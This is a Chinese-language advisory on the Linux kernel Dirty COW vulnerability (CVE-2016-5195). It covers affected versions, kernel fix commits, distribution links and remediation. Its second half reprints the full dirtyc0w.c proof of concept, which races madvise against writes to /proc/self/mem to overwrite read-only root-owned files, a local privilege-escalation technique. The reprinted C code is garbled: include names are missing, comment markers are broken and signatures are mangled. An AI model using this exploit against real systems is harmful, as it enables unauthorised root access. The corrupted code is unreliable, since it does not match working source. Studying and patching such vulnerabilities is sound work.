51工具盒子漏洞描述
漏洞编号：CVE-2016-5195
漏洞名称：脏牛（Dirty COW）
漏洞危害：低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权
影响范围：Linux内核>=2.6.22（2007年发行）开始就受影响了，直到2016年10月18日才修复。
360 Vulpecker Team：Android 7.0最新的10月补丁安全级别的系统上测试过漏洞POC，确认Android受影响
为什么这个漏洞叫脏牛（Dirty COW）漏洞？
Linux内核的内存子系统在处理写时拷贝（Copy-on-Write)时存在条件竞争漏洞，导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限，有可能进一步导致提权漏洞。
漏洞相关细节
漏洞细节：https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
根据RedHat公司的报告称：目前已经在野外发现针对这个漏洞的利用技术。但是到目前为止，我们没有更进一步的消息。
https://access.redhat.com/security/vulnerabilities/2706661
Commit messages：
commit 4ceb5db9757aaeadcf8fbbf97d76bd42aa4df0d6
Author: Linus Torvalds <torvalds@g5.osdl.org>
Date: Mon Aug 1 11:14:49 2005 -0700
修复get_user_pages()写访问竞争条件
如果一个更新来自其他线程结束修改页表，handle_mm_fault()将可能结束需要我们重新操作。handle_mm_fault()没有真正的防护一直能够破坏COW。这样看起来是不错的，但是get_user_pages()结束后会重新读，使get_user_pages()一直重写的话，需要dirty bit 设置，最简单的解决竞争条件的办法是，如果COW的break因为某些原因失败，我们能够继续循环继续尝试。
commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date: Thu Oct 13 20:07:36 2016 GMT
这是一个年代久远的BUG了，我在7年前已经曾经尝试修复过一次了（commit 4ceb5db9757a），但是由于一些问题（commit f33ea7f404e5）又回滚了。这次，我们对pte_dirty()位做了检测。
Linux各发行版本对于该漏洞相关信息
Red Hat：https://access.redhat.com/security/cve/cve-2016-5195
Debian ：https://security-tracker.debian.org/tracker/CVE-2016-5195
Ubuntu ：http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-5195.html
受影响的范围
这个漏洞自从内核2.6.22（2007年发行）开始就受影响了，直到2016年10月18日才修复。
如何修复该漏洞？
Linux团队正在积极的修复此漏洞，可以通过系统更新到最新发行版修复此漏洞。软件开发人员也可以通过
重新编译Linux修复此漏洞。
如何发现有人利用该漏洞攻击我？
利用这个Bug不会在日志里留下异常信息。但是部分安全社区已经部署蜜罐，如果有攻击者利用此漏洞，将会触发告警。
谁发现的这个漏洞？
Phil Oester （https://access.redhat.com/security/cve/CVE-2016-5195）
**对于该漏洞作者甚至申请了独立的：**网站、twitter帐号、github帐号、并找专人设计了Logo
作者对此的解释是：我们对建立有品牌的漏洞充满了乐趣，但是也许在这个时间点，这不是一个好主意。但是为了表明我们的立场，我才创建了网站，在线商店，twiiter帐号，以及请专业设计师为这个漏洞设计了LOGO。
2016.10.21 13:37更新漏洞影响范围：
360 Vulpecker Team：Android 7.0最新的10月补丁安全级别的系统上测试过漏洞POC，确认Android受影响
2016.10.21 9:10更新POC：
POC地址：
https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include
#include <sys/mman.h>
#include
#include
#include
void *map;
int f;
struct stat st;
char *name;
void *madviseThread(void arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i\<100000000;i++) { / You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661 > This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}
void *procselfmemThread(void arg)
{
char *str;
str=(char*)arg;
/
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i\<100000000;i++) {
/
You have to reset the file pointer to the memory position.
*/
lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}
int main(int argc,char argv\[\])
{
/
You have to pass two arguments. File and Contents.
/
if (argc\<3)return 1; pthread_t pth1,pth2; / You have to open the file in read only mode. / f=open(argv\[1\],O_RDONLY); fstat(f,\&st); name=argv\[1\]; / You have to use MAP_PRIVATE for copy-on-write mapping. > Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
/
/
You have to open with PROT_READ.
/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %x\\n\\n",map);
/
You have to do it on two threads.
/
pthread_create(\&pth1,NULL,madviseThread,argv\[1\]);
pthread_create(\&pth2,NULL,procselfmemThread,argv\[2\]);
/
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}
